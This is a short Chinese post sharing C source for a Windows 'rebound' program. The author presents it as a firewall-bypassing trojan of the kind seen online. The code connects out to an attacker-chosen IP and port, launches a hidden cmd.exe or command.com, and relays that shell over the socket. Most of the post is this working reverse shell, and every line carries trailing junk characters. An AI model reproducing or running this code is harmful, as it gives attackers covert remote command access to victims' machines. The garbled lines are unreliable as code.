这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 q
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/* ============================== 3RG*:9
Rebound port in Windows NT :5hKE(3Q
By wind,2006/7 ocBfs^ aW
===============================*/ MIvAugUOl
#include ,R/HT@
#include 4d3]L`
f
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#pragma comment(lib,"wsock32.lib") 0FmYM@Wc
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void OutputShell(); WGFp<R
SOCKET sClient; {pMbkAQ@
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; aOWW..|
j|"#S4IX)F
void main(int argc,char **argv) LcS\#p#s]
{ e9/:q"*)/
WSADATA stWsaData; g*69TqO^
int nRet; DdDO.@-Z
SOCKADDR_IN stSaiClient,stSaiServer; ve[` 0
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if(argc != 3) s^+h>
{ I\E`xkbBu
printf("Useage:\n\rRebound DestIP DestPort\n"); !Kr|04Qp#x
return; <6g{vNA
} NNSHA'F,.\
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WSAStartup(MAKEWORD(2,2),&stWsaData); [sJ f)<
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); '<_nL8A^
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stSaiClient.sin_family = AF_INET; i356m9j
stSaiClient.sin_port = htons(0); ;Z|X` <6g
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 7YT%.ID
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) (A(7?eq
{ !_CBf#0
printf("Bind Socket Failed!\n"); 3Ob"R%Yo
return; vI3L <[W
} i"mN0%
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stSaiServer.sin_family = AF_INET; QcJ?1GwA"
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); =.`(KXT
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); .lnyn|MVb
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) P34UD:
{ 7(cRm$)L
printf("Connect Error!"); Z .6M~
return; !$N^Ak5#
} Bfe#,
OutputShell(); F N6GV
} ,:POo^!/fT
)
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void OutputShell() t}L kl(
{ D^ZG-WR
char szBuff[1024]; ;hb;%<xqT
SECURITY_ATTRIBUTES stSecurityAttributes; e;L++D
OSVERSIONINFO stOsversionInfo; Vg'vL[Y
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ZXV_Dc
STARTUPINFO stStartupInfo; 5{nERKaPf
char *szShell; |#9Nu9ak
PROCESS_INFORMATION stProcessInformation; xUl=N
unsigned long lBytesRead; ?WPuTPw{
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ~L\KMB/9e=
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); -X+G_rY
stSecurityAttributes.lpSecurityDescriptor = 0; qv\n]M_&
stSecurityAttributes.bInheritHandle = TRUE; Er/h:=
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); o2M+=O@
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ~ 8L]!OQ9=
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); lId}sf
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (jb9U k_t
stStartupInfo.wShowWindow = SW_HIDE; `{w.OK
stStartupInfo.hStdInput = hReadPipe; #1fT\aP
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; t;005]'Mp
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GetVersionEx(&stOsversionInfo); .*\TG/x
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switch(stOsversionInfo.dwPlatformId) nE.w
{ 4WCWu}
case 1: dH:z_$Mg
szShell = "command.com"; 7<FI[
break; [7x,&
default: #dyz
szShell = "cmd.exe"; o/0cd
break; "#zSk=52z
} y!_*CYZ~m
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 9C&Xs nk
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send(sClient,szMsg,77,0); 38ac~1HjE
while(1) Gy}WZ9{
{ }!_x\eq^
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Jr|"QRC
if(lBytesRead) r'bctFsD
{ sBUK v(U)
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); \"=4)Huv
send(sClient,szBuff,lBytesRead,0); dCq-&3?t
} oDz%K?29%
else bY`
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{ &Xh8j^p'
lBytesRead=recv(sClient,szBuff,1024,0); bloe|o!
if(lBytesRead<=0) break; j v9DQr
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Dp1FX"a)
} VpmwN`
} gbvM2
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return; K]c|v
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}